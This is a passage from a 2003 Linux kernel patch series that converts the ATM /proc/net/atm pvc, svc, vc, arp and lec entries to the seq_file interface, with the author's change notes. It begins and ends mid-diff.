seq->private; + loff_t left = *pos; + + read_lock(&vcc_sklist_lock); + state->sk = (void *)1; + return left ? vcc_walk(state, left) : (void *)1; +} + +static void vcc_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&vcc_sklist_lock); +} + +static void *vcc_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct vcc_state *state = seq->private; + + v = vcc_walk(state, 1); + *pos += !!PTR_ERR(v); + return v; +} static void pvc_info(struct atm_vcc *vcc, char *buf, int clip_info) { [ATM]: seq_file for /proc/net/atm (pvc) [3/8] (from romieu@fr.zoreil.com) seq_file support for /proc/net/atm/pvc: - pvc_info(): seq_printf/seq_putc replaces sprintf; - atm_pvc_info() removal; - the vc helpers (vcc__seq_xxx) do the remaining work. Chas's suggestions applied since last version: - atm_pvc_xxx renamed to pvc_xxx - atm_seq_pvc_fops renamed to pvc_seq_fops net/atm/proc.c | 81 +++++++++++++++++++++++---------------------------------- 1 files changed, 34 insertions(+), 47 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-pvc-conversion net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-pvc-conversion Sat Sep 6 23:26:53 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:26:53 2003 @@ -262,7 +262,7 @@ static void *vcc_seq_next(struct seq_fil return v; } -static void pvc_info(struct atm_vcc *vcc, char *buf, int clip_info) +static void pvc_info(struct seq_file *seq, struct atm_vcc *vcc, int clip_info) { static const char *class_name[] = { "off","UBR","CBR","VBR","ABR" }; static const char *aal_name[] = { @@ -270,9 +270,8 @@ static void pvc_info(struct atm_vcc *vcc "???", "5", "???", "???", /* 4- 7 */ "???", "???", "???", "???", /* 8-11 */ "???", "0", "???", "???"}; /* 12-15 */ - int off; - off = sprintf(buf,"%3d %3d %5d %-3s %7d %-5s %7d %-6s", + seq_printf(seq, "%3d %3d %5d %-3s %7d %-5s %7d %-6s", vcc->dev->number,vcc->vpi,vcc->vci, vcc->qos.aal >= sizeof(aal_name)/sizeof(aal_name[0]) ? "err" : aal_name[vcc->qos.aal],vcc->qos.rxtp.min_pcr, @@ -284,18 +283,14 @@ static void pvc_info(struct atm_vcc *vcc struct net_device *dev; dev = clip_vcc->entry ? clip_vcc->entry->neigh->dev : NULL; - off += sprintf(buf+off,"CLIP, Itf:%s, Encap:", + seq_printf(seq, "CLIP, Itf:%s, Encap:", dev ? dev->name : "none?"); - if (clip_vcc->encap) - off += sprintf(buf+off,"LLC/SNAP"); - else - off += sprintf(buf+off,"None"); + seq_printf(seq, "%s", clip_vcc->encap ? "LLC/SNAP" : "None"); } #endif - strcpy(buf+off,"\n"); + seq_putc(seq, '\n'); } - static const char *vcc_state(struct atm_vcc *vcc) { static const char *map[] = { ATM_VS2TXT_MAP }; @@ -437,48 +432,40 @@ static struct file_operations devices_se .release = seq_release, }; -/* - * FIXME: it isn't safe to walk the VCC list without turning off interrupts. - * What is really needed is some lock on the devices. Ditto for ATMARP. - */ - -static int atm_pvc_info(loff_t pos,char *buf) +static int pvc_seq_show(struct seq_file *seq, void *v) { - struct hlist_node *node; - struct sock *s; - struct atm_vcc *vcc; - int left, clip_info = 0; + static char atm_pvc_banner[] = + "Itf VPI VCI AAL RX(PCR,Class) TX(PCR,Class)\n"; - if (!pos) { - return sprintf(buf,"Itf VPI VCI AAL RX(PCR,Class) " - "TX(PCR,Class)\n"); - } - left = pos-1; -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (try_atm_clip_ops()) - clip_info = 1; -#endif - read_lock(&vcc_sklist_lock); - sk_for_each(s, node, &vcc_sklist) { - vcc = atm_sk(s); - if (vcc->sk->sk_family == PF_ATMPVC && vcc->dev && !left--) { - pvc_info(vcc,buf,clip_info); - read_unlock(&vcc_sklist_lock); -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (clip_info) - module_put(atm_clip_ops->owner); -#endif - return strlen(buf); - } + if (v == (void *)1) + seq_puts(seq, atm_pvc_banner); + else { + struct vcc_state *state = seq->private; + struct atm_vcc *vcc = atm_sk(state->sk); + + pvc_info(seq, vcc, state->clip_info); } - read_unlock(&vcc_sklist_lock); -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (clip_info) - module_put(atm_clip_ops->owner); -#endif return 0; } +static struct seq_operations pvc_seq_ops = { + .start = vcc_seq_start, + .next = vcc_seq_next, + .stop = vcc_seq_stop, + .show = pvc_seq_show, +}; + +static int pvc_seq_open(struct inode *inode, struct file *file) +{ + return __vcc_seq_open(inode, file, PF_ATMPVC, &pvc_seq_ops); +} + +static struct file_operations pvc_seq_fops = { + .open = pvc_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = vcc_seq_release, +}; static int atm_vc_info(loff_t pos,char *buf) { @@ -782,7 +769,7 @@ int __init atm_proc_init(void) if (!atm_proc_root) return -ENOMEM; CREATE_SEQ_ENTRY(devices); - CREATE_ENTRY(pvc); + CREATE_SEQ_ENTRY(pvc); CREATE_ENTRY(svc); CREATE_ENTRY(vc); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) [ATM]: seq_file for /proc/net/atm (svc) [4/8] (from romieu@fr.zoreil.com) seq_file support for /proc/net/atm/svc: Exactly same comments as pvc. Just s/p/s/ net/atm/proc.c | 81 ++++++++++++++++++++++++++++++--------------------------- 1 files changed, 44 insertions(+), 37 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-svc-conversion net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-svc-conversion Sat Sep 6 23:29:31 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:29:31 2003 @@ -323,29 +323,26 @@ static void vc_info(struct atm_vcc *vcc, atomic_read(&vcc->sk->sk_rmem_alloc), vcc->sk->sk_rcvbuf); } - -static void svc_info(struct atm_vcc *vcc,char *buf) +static void svc_info(struct seq_file *seq, struct atm_vcc *vcc) { - char *here; - int i; - if (!vcc->dev) - sprintf(buf,sizeof(void *) == 4 ? "N/A@%p%10s" : "N/A@%p%2s", - vcc,""); - else sprintf(buf,"%3d %3d %5d ",vcc->dev->number,vcc->vpi, - vcc->vci); - here = strchr(buf,0); - here += sprintf(here,"%-10s ",vcc_state(vcc)); - here += sprintf(here,"%s%s",vcc->remote.sas_addr.pub, + seq_printf(seq, sizeof(void *) == 4 ? + "N/A@%p%10s" : "N/A@%p%2s", vcc, ""); + else + seq_printf(seq, "%3d %3d %5d ", + vcc->dev->number, vcc->vpi, vcc->vci); + seq_printf(seq, "%-10s ", vcc_state(vcc)); + seq_printf(seq, "%s%s", vcc->remote.sas_addr.pub, *vcc->remote.sas_addr.pub && *vcc->remote.sas_addr.prv ? "+" : ""); - if (*vcc->remote.sas_addr.prv) + if (*vcc->remote.sas_addr.prv) { + int i; + for (i = 0; i < ATM_ESA_LEN; i++) - here += sprintf(here,"%02x", - vcc->remote.sas_addr.prv[i]); - strcat(here,"\n"); + seq_printf(seq, "%02x", vcc->remote.sas_addr.prv[i]); + } + seq_putc(seq, '\n'); } - #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) static char* @@ -493,31 +490,41 @@ static int atm_vc_info(loff_t pos,char * return 0; } - -static int atm_svc_info(loff_t pos,char *buf) +static int svc_seq_show(struct seq_file *seq, void *v) { - struct hlist_node *node; - struct sock *s; - struct atm_vcc *vcc; - int left; + static char atm_svc_banner[] = + "Itf VPI VCI State Remote\n"; - if (!pos) - return sprintf(buf,"Itf VPI VCI State Remote\n"); - left = pos-1; - read_lock(&vcc_sklist_lock); - sk_for_each(s, node, &vcc_sklist) { - vcc = atm_sk(s); - if (vcc->sk->sk_family == PF_ATMSVC && !left--) { - svc_info(vcc,buf); - read_unlock(&vcc_sklist_lock); - return strlen(buf); - } - } - read_unlock(&vcc_sklist_lock); + if (v == (void *)1) + seq_puts(seq, atm_svc_banner); + else { + struct vcc_state *state = seq->private; + struct atm_vcc *vcc = atm_sk(state->sk); + svc_info(seq, vcc); + } return 0; } +static struct seq_operations svc_seq_ops = { + .start = vcc_seq_start, + .next = vcc_seq_next, + .stop = vcc_seq_stop, + .show = svc_seq_show, +}; + +static int svc_seq_open(struct inode *inode, struct file *file) +{ + return __vcc_seq_open(inode, file, PF_ATMSVC, &svc_seq_ops); +} + +static struct file_operations svc_seq_fops = { + .open = svc_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = vcc_seq_release, +}; + #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) static int atm_arp_info(loff_t pos,char *buf) { @@ -770,7 +777,7 @@ int __init atm_proc_init(void) return -ENOMEM; CREATE_SEQ_ENTRY(devices); CREATE_SEQ_ENTRY(pvc); - CREATE_ENTRY(svc); + CREATE_SEQ_ENTRY(svc); CREATE_ENTRY(vc); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) CREATE_ENTRY(arp); [ATM]: seq_file for /proc/net/atm (vc) [5/8] (from romieu@fr.zoreil.com) seq_file support for /proc/net/atm/vc: Same comments as for pvc and svc. Extra Chas's suggestion applied since last version: - atm_vc_xxx renamed to vcc_xxx. net/atm/proc.c | 90 ++++++++++++++++++++++++++++++--------------------------- 1 files changed, 48 insertions(+), 42 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-vc-conversion net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-vc-conversion Sat Sep 6 23:30:55 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:30:55 2003 @@ -298,29 +298,27 @@ static const char *vcc_state(struct atm_ return map[ATM_VF2VS(vcc->flags)]; } - -static void vc_info(struct atm_vcc *vcc,char *buf) +static void vcc_info(struct seq_file *seq, struct atm_vcc *vcc) { - char *here; - - here = buf+sprintf(buf,"%p ",vcc); - if (!vcc->dev) here += sprintf(here,"Unassigned "); - else here += sprintf(here,"%3d %3d %5d ",vcc->dev->number,vcc->vpi, - vcc->vci); + seq_printf(seq, "%p ", vcc); + if (!vcc->dev) + seq_printf(seq, "Unassigned "); + else + seq_printf(seq, "%3d %3d %5d ", vcc->dev->number, vcc->vpi, + vcc->vci); switch (vcc->sk->sk_family) { case AF_ATMPVC: - here += sprintf(here,"PVC"); + seq_printf(seq, "PVC"); break; case AF_ATMSVC: - here += sprintf(here,"SVC"); + seq_printf(seq, "SVC"); break; default: - here += sprintf(here, "%3d", vcc->sk->sk_family); + seq_printf(seq, "%3d", vcc->sk->sk_family); } - here += sprintf(here," %04lx %5d %7d/%7d %7d/%7d\n",vcc->flags, - vcc->sk->sk_err, - atomic_read(&vcc->sk->sk_wmem_alloc), vcc->sk->sk_sndbuf, - atomic_read(&vcc->sk->sk_rmem_alloc), vcc->sk->sk_rcvbuf); + seq_printf(seq, " %04lx %5d %7d/%7d %7d/%7d\n", vcc->flags, vcc->sk->sk_err, + atomic_read(&vcc->sk->sk_wmem_alloc),vcc->sk->sk_sndbuf, + atomic_read(&vcc->sk->sk_rmem_alloc),vcc->sk->sk_rcvbuf); } static void svc_info(struct seq_file *seq, struct atm_vcc *vcc) @@ -464,31 +462,39 @@ static struct file_operations pvc_seq_fo .release = vcc_seq_release, }; -static int atm_vc_info(loff_t pos,char *buf) +static int vcc_seq_show(struct seq_file *seq, void *v) { - struct atm_vcc *vcc; - struct hlist_node *node; - struct sock *s; - int left; - - if (!pos) - return sprintf(buf,sizeof(void *) == 4 ? "%-8s%s" : "%-16s%s", - "Address"," Itf VPI VCI Fam Flags Reply Send buffer" - " Recv buffer\n"); - left = pos-1; - read_lock(&vcc_sklist_lock); - sk_for_each(s, node, &vcc_sklist) { - vcc = atm_sk(s); - if (!left--) { - vc_info(vcc,buf); - read_unlock(&vcc_sklist_lock); - return strlen(buf); - } - } - read_unlock(&vcc_sklist_lock); - - return 0; + if (v == (void *)1) { + seq_printf(seq, sizeof(void *) == 4 ? "%-8s%s" : "%-16s%s", + "Address ", "Itf VPI VCI Fam Flags Reply " + "Send buffer Recv buffer\n"); + } else { + struct vcc_state *state = seq->private; + struct atm_vcc *vcc = atm_sk(state->sk); + + vcc_info(seq, vcc); + } + return 0; +} + +static struct seq_operations vcc_seq_ops = { + .start = vcc_seq_start, + .next = vcc_seq_next, + .stop = vcc_seq_stop, + .show = vcc_seq_show, +}; + +static int vcc_seq_open(struct inode *inode, struct file *file) +{ + return __vcc_seq_open(inode, file, 0, &vcc_seq_ops); } + +static struct file_operations vcc_seq_fops = { + .open = vcc_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = vcc_seq_release, +}; static int svc_seq_show(struct seq_file *seq, void *v) { @@ -751,7 +757,7 @@ void atm_proc_dev_deregister(struct atm_ name->owner = THIS_MODULE static struct proc_dir_entry *devices = NULL, *pvc = NULL, - *svc = NULL, *arp = NULL, *lec = NULL, *vc = NULL; + *svc = NULL, *arp = NULL, *lec = NULL, *vcc = NULL; static void atm_proc_cleanup(void) { @@ -765,8 +771,8 @@ static void atm_proc_cleanup(void) remove_proc_entry("arp",atm_proc_root); if (lec) remove_proc_entry("lec",atm_proc_root); - if (vc) - remove_proc_entry("vc",atm_proc_root); + if (vcc) + remove_proc_entry("vcc",atm_proc_root); remove_proc_entry("net/atm",NULL); } @@ -778,7 +784,7 @@ int __init atm_proc_init(void) CREATE_SEQ_ENTRY(devices); CREATE_SEQ_ENTRY(pvc); CREATE_SEQ_ENTRY(svc); - CREATE_ENTRY(vc); + CREATE_SEQ_ENTRY(vcc); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) CREATE_ENTRY(arp); #endif _ [ATM]: seq_file for /proc/net/atm (arp) [6/8] (from romieu@fr.zoreil.com) seq_file support for /proc/net/atm/arp: - svc_addr/atmarp_info(): seq_printf/seq_putc replace sprintf and friends; - arp_getidx/arp_vcc_walk() take care of the usual seq_file cursor positionning: they both return NULL until the cursor has reached its position. struct atm_arp_state is updated accordingly; - arp_seq_{stop/start} are responsible for clip_tbl_hook (un)locking; - module refcounting is done in arp_seq_open()/arp_seq_release(); - atm_lec_info() is removed. Chas's suggestions applied since last version: - atm_arp_xxx renamed to arp_xxx; - atm_seq_arp_fops renamed to arp_seq_fops. Chas didn't ask for it but I renamed arp_vc_walk to arp_vcc_walk. net/atm/proc.c | 269 +++++++++++++++++++++++++++++++++++++++------------------ 1 files changed, 185 insertions(+), 84 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-arp-conversion net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-arp-conversion Sat Sep 6 23:31:55 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:31:55 2003 @@ -91,75 +91,67 @@ static void atm_dev_info(struct seq_file #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - -static int svc_addr(char *buf,struct sockaddr_atmsvc *addr) +static void svc_addr(struct seq_file *seq, struct sockaddr_atmsvc *addr) { static int code[] = { 1,2,10,6,1,0 }; static int e164[] = { 1,8,4,6,1,0 }; - int *fields; - int len,i,j,pos; - len = 0; if (*addr->sas_addr.pub) { - strcpy(buf,addr->sas_addr.pub); - len = strlen(addr->sas_addr.pub); - buf += len; - if (*addr->sas_addr.prv) { - *buf++ = '+'; - len++; - } + seq_printf(seq, "%s", addr->sas_addr.pub); + if (*addr->sas_addr.prv) + seq_putc(seq, '+'); + } else if (!*addr->sas_addr.prv) { + seq_printf(seq, "%s", "(none)"); + return; } - else if (!*addr->sas_addr.prv) { - strcpy(buf,"(none)"); - return strlen(buf); - } if (*addr->sas_addr.prv) { - len += 44; - pos = 0; - fields = *addr->sas_addr.prv == ATM_AFI_E164 ? e164 : code; + unsigned char *prv = addr->sas_addr.prv; + int *fields; + int i, j; + + fields = *prv == ATM_AFI_E164 ? e164 : code; for (i = 0; fields[i]; i++) { - for (j = fields[i]; j; j--) { - sprintf(buf,"%02X",addr->sas_addr.prv[pos++]); - buf += 2; - } - if (fields[i+1]) *buf++ = '.'; + for (j = fields[i]; j; j--) + seq_printf(seq, "%02X", *prv++); + if (fields[i+1]) + seq_putc(seq, '.'); } } - return len; } - -static void atmarp_info(struct net_device *dev,struct atmarp_entry *entry, - struct clip_vcc *clip_vcc,char *buf) +static void atmarp_info(struct seq_file *seq, struct net_device *dev, + struct atmarp_entry *entry, struct clip_vcc *clip_vcc) { - unsigned char *ip; - int svc,off,ip_len; + char buf[17]; + int svc, off; svc = !clip_vcc || clip_vcc->vcc->sk->sk_family == AF_ATMSVC; - off = sprintf(buf,"%-6s%-4s%-4s%5ld ",dev->name,svc ? "SVC" : "PVC", + seq_printf(seq, "%-6s%-4s%-4s%5ld ", dev->name, svc ? "SVC" : "PVC", !clip_vcc || clip_vcc->encap ? "LLC" : "NULL", - (jiffies-(clip_vcc ? clip_vcc->last_use : entry->neigh->used))/ - HZ); - ip = (unsigned char *) &entry->ip; - ip_len = sprintf(buf+off,"%d.%d.%d.%d",ip[0],ip[1],ip[2],ip[3]); - off += ip_len; - while (ip_len++ < 16) buf[off++] = ' '; - if (!clip_vcc) + (jiffies-(clip_vcc ? clip_vcc->last_use : entry->neigh->used))/HZ); + + off = snprintf(buf, sizeof(buf) - 1, "%d.%d.%d.%d", NIPQUAD(entry->ip)); + while (off < 16) + buf[off++] = ' '; + buf[off] = '\0'; + seq_printf(seq, "%s", buf); + + if (!clip_vcc) { if (time_before(jiffies, entry->expires)) - strcpy(buf+off,"(resolving)\n"); - else sprintf(buf+off,"(expired, ref %d)\n", - atomic_read(&entry->neigh->refcnt)); - else if (!svc) - sprintf(buf+off,"%d.%d.%d\n",clip_vcc->vcc->dev->number, - clip_vcc->vcc->vpi,clip_vcc->vcc->vci); - else { - off += svc_addr(buf+off,&clip_vcc->vcc->remote); - strcpy(buf+off,"\n"); - } + seq_printf(seq, "(resolving)\n"); + else + seq_printf(seq, "(expired, ref %d)\n", + atomic_read(&entry->neigh->refcnt)); + } else if (!svc) { + seq_printf(seq, "%d.%d.%d\n", clip_vcc->vcc->dev->number, + clip_vcc->vcc->vpi, clip_vcc->vcc->vci); + } else { + svc_addr(seq, &clip_vcc->vcc->remote); + seq_putc(seq, '\n'); + } } - -#endif +#endif /* CONFIG_ATM_CLIP */ struct vcc_state { struct sock *sk; @@ -532,45 +524,154 @@ static struct file_operations svc_seq_fo }; #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) -static int atm_arp_info(loff_t pos,char *buf) + +struct arp_state { + int bucket; + struct neighbour *n; + struct clip_vcc *vcc; +}; + +static void *arp_vcc_walk(struct arp_state *state, + struct atmarp_entry *e, loff_t *l) { - struct neighbour *n; - int i,count; + struct clip_vcc *vcc = state->vcc; - if (!pos) { - return sprintf(buf,"IPitf TypeEncp Idle IP address " - "ATM address\n"); + if (!vcc) + vcc = e->vccs; + if (vcc == (void *)1) { + vcc = e->vccs; + --*l; + } + for (; vcc; vcc = vcc->next) { + if (--*l < 0) + break; } - if (!try_atm_clip_ops()) - return 0; - count = pos; + state->vcc = vcc; + return (*l < 0) ? state : NULL; +} + +static void *arp_get_idx(struct arp_state *state, loff_t l) +{ + void *v = NULL; + + for (; state->bucket <= NEIGH_HASHMASK; state->bucket++) { + for (; state->n; state->n = state->n->next) { + v = arp_vcc_walk(state, NEIGH2ENTRY(state->n), &l); + if (v) + goto done; + } + state->n = clip_tbl_hook->hash_buckets[state->bucket + 1]; + } +done: + return v; +} + +static void *arp_seq_start(struct seq_file *seq, loff_t *pos) +{ + struct arp_state *state = seq->private; + void *ret = (void *)1; + + if (!clip_tbl_hook) { + state->bucket = -1; + goto out; + } + read_lock_bh(&clip_tbl_hook->lock); - for (i = 0; i <= NEIGH_HASHMASK; i++) - for (n = clip_tbl_hook->hash_buckets[i]; n; n = n->next) { - struct atmarp_entry *entry = NEIGH2ENTRY(n); - struct clip_vcc *vcc; - - if (!entry->vccs) { - if (--count) continue; - atmarp_info(n->dev,entry,NULL,buf); - read_unlock_bh(&clip_tbl_hook->lock); - module_put(atm_clip_ops->owner); - return strlen(buf); - } - for (vcc = entry->vccs; vcc; - vcc = vcc->next) { - if (--count) continue; - atmarp_info(n->dev,entry,vcc,buf); - read_unlock_bh(&clip_tbl_hook->lock); - module_put(atm_clip_ops->owner); - return strlen(buf); - } - } - read_unlock_bh(&clip_tbl_hook->lock); + state->bucket = 0; + state->n = clip_tbl_hook->hash_buckets[0]; + state->vcc = (void *)1; + if (*pos) + ret = arp_get_idx(state, *pos); +out: + return ret; +} + +static void arp_seq_stop(struct seq_file *seq, void *v) +{ + struct arp_state *state = seq->private; + + if (state->bucket != -1) + read_unlock_bh(&clip_tbl_hook->lock); +} + +static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct arp_state *state = seq->private; + + v = arp_get_idx(state, 1); + *pos += !!PTR_ERR(v); + return v; +} + +static int arp_seq_show(struct seq_file *seq, void *v) +{ + static char atm_arp_banner[] = + "IPitf TypeEncp Idle IP address ATM address\n"; + + if (v == (void *)1) + seq_puts(seq, atm_arp_banner); + else { + struct arp_state *state = seq->private; + struct neighbour *n = state->n; + struct clip_vcc *vcc = state->vcc; + + atmarp_info(seq, n->dev, NEIGH2ENTRY(n), vcc); + } + return 0; +} + +static struct seq_operations arp_seq_ops = { + .start = arp_seq_start, + .next = arp_seq_next, + .stop = arp_seq_stop, + .show = arp_seq_show, +}; + +static int arp_seq_open(struct inode *inode, struct file *file) +{ + struct arp_state *state; + struct seq_file *seq; + int rc = -EAGAIN; + + if (!try_atm_clip_ops()) + goto out; + + state = kmalloc(sizeof(*state), GFP_KERNEL); + if (!state) { + rc = -ENOMEM; + goto out_put; + } + + rc = seq_open(file, &arp_seq_ops); + if (rc) + goto out_kfree; + + seq = file->private_data; + seq->private = state; +out: + return rc; + +out_put: module_put(atm_clip_ops->owner); - return 0; +out_kfree: + kfree(state); + goto out; } -#endif + +static int arp_seq_release(struct inode *inode, struct file *file) +{ + module_put(atm_clip_ops->owner); + return seq_release_private(inode, file); +} + +static struct file_operations arp_seq_fops = { + .open = arp_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = arp_seq_release, +}; + +#endif /* CONFIG_ATM_CLIP */ #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) static int atm_lec_info(loff_t pos,char *buf) @@ -786,7 +887,7 @@ int __init atm_proc_init(void) CREATE_SEQ_ENTRY(svc); CREATE_SEQ_ENTRY(vcc); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - CREATE_ENTRY(arp); + CREATE_SEQ_ENTRY(arp); #endif #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) CREATE_ENTRY(lec); [ATM] seq_file conversion of /proc/net/atm [7/8] seq_file support for /proc/net/atm/lec: - lec_info(): seq_printf/seq_putc replaces sprintf; - traversal of the lec structure needs to walk: -> the lec interfaces -> the tables of arp tables(lec_arp_tables); -> the arp tables themselves -> the misc tables (lec_arp_empty_ones/lec_no_forward/mcast_fwds) Sum up of the call tree: atm_lec_seq_start()/atm_lec_seq_next() -> atm_lec_get_idx() -> atm_lec_itf_walk() (responsible for dev_lec/dev_put handling) -> atm_lec_priv_walk() (responsible for lec_priv locking) -> atm_lec_arp_walk() -> atm_lec_tbl_walk() -> atm_lec_misc_walk() -> atm_lec_tbl_walk() Each of the dedicated functions follows the same convention: return NULL as long as the seq_file cursor hasn't been digested (i.e. until < 0). Locking is only done when an entry (i.e. a lec_arp_table) is referenced. atm_lec_seq_stop()/atm_lec_itf_walk()/atm_lec_priv_walk() are responsible for getting this point right. - module refcounting is done in atm_lec_seq_open()/atm_lec_seq_release(); - atm_lec_info() is removed. Chas's suggestions applied since last version: - atm_seq_lec_fops renamed to lec_seq_fops; - change in state handling: it wasn't correctly set to its reset value after a complete interface walk; - lec_arp_get_status_string() bugfix. net/atm/proc.c | 342 +++++++++++++++++++++++++++++++++++++++------------------ 1 files changed, 236 insertions(+), 106 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-lec-conversion net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-lec-conversion Sat Sep 6 23:34:01 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sun Sep 7 00:33:49 2003 @@ -335,54 +335,46 @@ static void svc_info(struct seq_file *se #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) -static char* -lec_arp_get_status_string(unsigned char status) +static char* lec_arp_get_status_string(unsigned char status) { - switch(status) { - case ESI_UNKNOWN: - return "ESI_UNKNOWN "; - case ESI_ARP_PENDING: - return "ESI_ARP_PENDING "; - case ESI_VC_PENDING: - return "ESI_VC_PENDING "; - case ESI_FLUSH_PENDING: - return "ESI_FLUSH_PENDING "; - case ESI_FORWARD_DIRECT: - return "ESI_FORWARD_DIRECT"; - default: - return " "; - } -} - -static void -lec_info(struct lec_arp_table *entry, char *buf) -{ - int j, offset=0; - - for(j=0;jmac_addr[j]); + static char *lec_arp_status_string[] = { + "ESI_UNKNOWN ", + "ESI_ARP_PENDING ", + "ESI_VC_PENDING ", + " ", + "ESI_FLUSH_PENDING ", + "ESI_FORWARD_DIRECT", + "" + }; + + if (status > ESI_FORWARD_DIRECT) + status = ESI_FORWARD_DIRECT + 1; + return lec_arp_status_string[status]; +} + +static void lec_info(struct seq_file *seq, struct lec_arp_table *entry) +{ + int i; + + for (i = 0; i < ETH_ALEN; i++) + seq_printf(seq, "%2.2x", entry->mac_addr[i] & 0xff); + seq_printf(seq, " "); + for (i = 0; i < ATM_ESA_LEN; i++) + seq_printf(seq, "%2.2x", entry->atm_addr[i] & 0xff); + seq_printf(seq, " %s %4.4x", lec_arp_get_status_string(entry->status), + entry->flags & 0xffff); + if (entry->vcc) + seq_printf(seq, "%3d %3d ", entry->vcc->vpi, entry->vcc->vci); + else + seq_printf(seq, " "); + if (entry->recv_vcc) { + seq_printf(seq, " %3d %3d", entry->recv_vcc->vpi, + entry->recv_vcc->vci); } - offset+=sprintf(buf+offset, " "); - for(j=0;jatm_addr[j]); - } - offset+=sprintf(buf+offset, " %s %4.4x", - lec_arp_get_status_string(entry->status), - entry->flags&0xffff); - if (entry->vcc) { - offset+=sprintf(buf+offset, "%3d %3d ", entry->vcc->vpi, - entry->vcc->vci); - } else - offset+=sprintf(buf+offset, " "); - if (entry->recv_vcc) { - offset+=sprintf(buf+offset, " %3d %3d", - entry->recv_vcc->vpi, entry->recv_vcc->vci); - } - - sprintf(buf+offset,"\n"); + seq_putc(seq, '\n'); } -#endif +#endif /* CONFIG_ATM_LANE */ static int atm_dev_seq_show(struct seq_file *seq, void *v) { @@ -674,78 +666,216 @@ static struct file_operations arp_seq_fo #endif /* CONFIG_ATM_CLIP */ #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) -static int atm_lec_info(loff_t pos,char *buf) -{ + +struct lec_state { unsigned long flags; - struct lec_priv *priv; + struct lec_priv *locked; struct lec_arp_table *entry; - int i, count, d, e; struct net_device *dev; + int itf; + int arp_table; + int misc_table; +}; - if (!pos) { - return sprintf(buf,"Itf MAC ATM destination" - " Status Flags " - "VPI/VCI Recv VPI/VCI\n"); +static void *lec_tbl_walk(struct lec_state *state, struct lec_arp_table *tbl, + loff_t *l) +{ + struct lec_arp_table *e = state->entry; + + if (!e) + e = tbl; + if (e == (void *)1) { + e = tbl; + --*l; } - if (!try_atm_lane_ops()) - return 0; /* the lane module is not there yet */ + for (; e; e = e->next) { + if (--*l < 0) + break; + } + state->entry = e; + return (*l < 0) ? state : NULL; +} + +static void *lec_arp_walk(struct lec_state *state, loff_t *l, + struct lec_priv *priv) +{ + void *v = NULL; + int p; - count = pos; - for(d = 0; d < MAX_LEC_ITF; d++) { - dev = atm_lane_ops->get_lec(d); - if (!dev || !(priv = (struct lec_priv *) dev->priv)) - continue; - spin_lock_irqsave(&priv->lec_arp_lock, flags); - for(i = 0; i < LEC_ARP_TABLE_SIZE; i++) { - for(entry = priv->lec_arp_tables[i]; entry; entry = entry->next) { - if (--count) - continue; - e = sprintf(buf,"%s ", dev->name); - lec_info(entry, buf+e); - spin_unlock_irqrestore(&priv->lec_arp_lock, flags); - dev_put(dev); - module_put(atm_lane_ops->owner); - return strlen(buf); - } - } - for(entry = priv->lec_arp_empty_ones; entry; entry = entry->next) { - if (--count) - continue; - e = sprintf(buf,"%s ", dev->name); - lec_info(entry, buf+e); - spin_unlock_irqrestore(&priv->lec_arp_lock, flags); - dev_put(dev); - module_put(atm_lane_ops->owner); - return strlen(buf); - } - for(entry = priv->lec_no_forward; entry; entry=entry->next) { - if (--count) - continue; - e = sprintf(buf,"%s ", dev->name); - lec_info(entry, buf+e); - spin_unlock_irqrestore(&priv->lec_arp_lock, flags); - dev_put(dev); - module_put(atm_lane_ops->owner); - return strlen(buf); - } - for(entry = priv->mcast_fwds; entry; entry = entry->next) { - if (--count) - continue; - e = sprintf(buf,"%s ", dev->name); - lec_info(entry, buf+e); - spin_unlock_irqrestore(&priv->lec_arp_lock, flags); - dev_put(dev); - module_put(atm_lane_ops->owner); - return strlen(buf); - } - spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + for (p = state->arp_table; p < LEC_ARP_TABLE_SIZE; p++) { + v = lec_tbl_walk(state, priv->lec_arp_tables[p], l); + if (v) + break; + } + state->arp_table = p; + return v; +} + +static void *lec_misc_walk(struct lec_state *state, loff_t *l, + struct lec_priv 